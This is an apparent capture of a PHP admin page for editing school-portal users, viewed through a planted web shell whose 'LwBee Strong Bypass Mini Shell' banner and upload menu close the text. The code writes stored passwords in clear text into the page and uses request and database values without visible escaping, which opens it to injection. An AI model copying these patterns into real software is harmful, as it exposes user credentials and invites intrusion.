/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/addUserEdit.php
<?php
 include('include/header.php'); 

$select_branch = select_branch();



if(!empty($_GET['edit'])){
    $selectUser = selectUserData($_GET['edit']);
    $userData = mysqli_fetch_array($selectUser);
}
 if(!empty($_POST['submit'])){
    EditadduserData();
}
?>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css">
 <main id="main" class="main">

<div class="pagetitle">
  <h1>School Data</h1>
  <nav>
    <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item">Add User</li>
    </ol>
  </nav>
</div>

<section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Add New User</h5>

<?php
   
  if(!empty($_GET['failed'])){
     ?>
   <div align="center"><h4 style="color:red;">Already Data Inserted </h4></div>
     <?php
  }
?>

 <?php
   if(!empty($_GET['succ'])){
     ?>
     <div align="center"><h4 style="color:green;">Data Insert Successfully </h4></div>
     <?php
  }
?>
     <form method="post" onsubmit=" return book_validation()">
               <div class="row">  
     
        
        <div class="col-md-4">
                         <label class="form-label">Branch Name</label>
                            <select name="branch_name" id="branch_name" class="form-control">
                                <option value="">Please Select Branch</option>
                                <?php
                                while($branch = mysqli_fetch_array($select_branch)){
                                ?>
                                <option value="<?= $branch['branch_name']?>" <?php if($branch['branch_name']==$userData['branch_name']){ echo "selected"; }?> ><?= $branch['branch_name']?></option>
                                <?php }?>
                             </select>
                      </div>
                      <div class="col-md-4">
                       <label class="form-label">Username</label>
                       <input id="username" name="username" class="form-control" placeholder="Enter Username" value="<?= $userData['username'] ?>">
                    </div>
                    <div class="col-md-4">
                         <label class="form-label">Password</label>
                        <input type="Password" class="form-control" id="password" name="password" placeholder="Enter Password" value="<?= $userData['password']?>">
                         <span>
                            <i class="far fa-eye" id="togglePassword" onClick="toggle()"></i>
                        </span>
                    </div> 
                    <div class="col-md-4">  
                       <input type="checkbox" id="access" name="access"  value="1" <?php if($userData['access']==1){ echo "checked";}?>>
                        <label for="access"> Access</label><br>

                  </div>  
                   <input type="hidden" name="edit_data" value="<?= $userData['id']?>">

                  <div class="mt-4">
                    <input type="submit" class="btn" value="Update" name="submit" style="background-color: #69F0AE; color: #000000;">
                    <a href="addUser.php" style="background-color:#7E57C2; color: #ffff;" class="btn">Back</a>
                  </div> 
                </form> 

              </div>
            </div>
          </div>
        </div>
      </div>
    </section> 

  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
   

</main> 

  <script>
    function book_validation()
    {
       
        var branchname = $('#branch_name').val();
        var username = $('#username').val();
        var password = $('#password').val();
        var access = $('#access').val(); 

         if(branchname == '')
        {
          swal('Please Enter Branch Name');
          return false;
        }
       else if(username == '')
        {
          swal('Please Enter Username');
          return false;
        }
        else if(password == '')
        {
          swal('Please Enter Password');
          return false;
        }  
       
        else if(access == '')
        {
          swal('Please Checkin Status');
          return false;
        } 
       
        else{
          return true;
        }
    }
  </script>

  <style>
              .fa-eye{
                 position: absolute;
                right: 40px;
                margin-top: -20px;
                
              }
          </style>

          <script>
            var state = false;
              function toggle()
              {

                 if(state){
                    document.getElementById("password").setAttribute("type","password");
                    state = false;
                 }
                 else{
                       document.getElementById("password").setAttribute("type","text");
                    state = true;
                 
                 }
             }
          </script>
  <?php include('include/footer.php'); ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File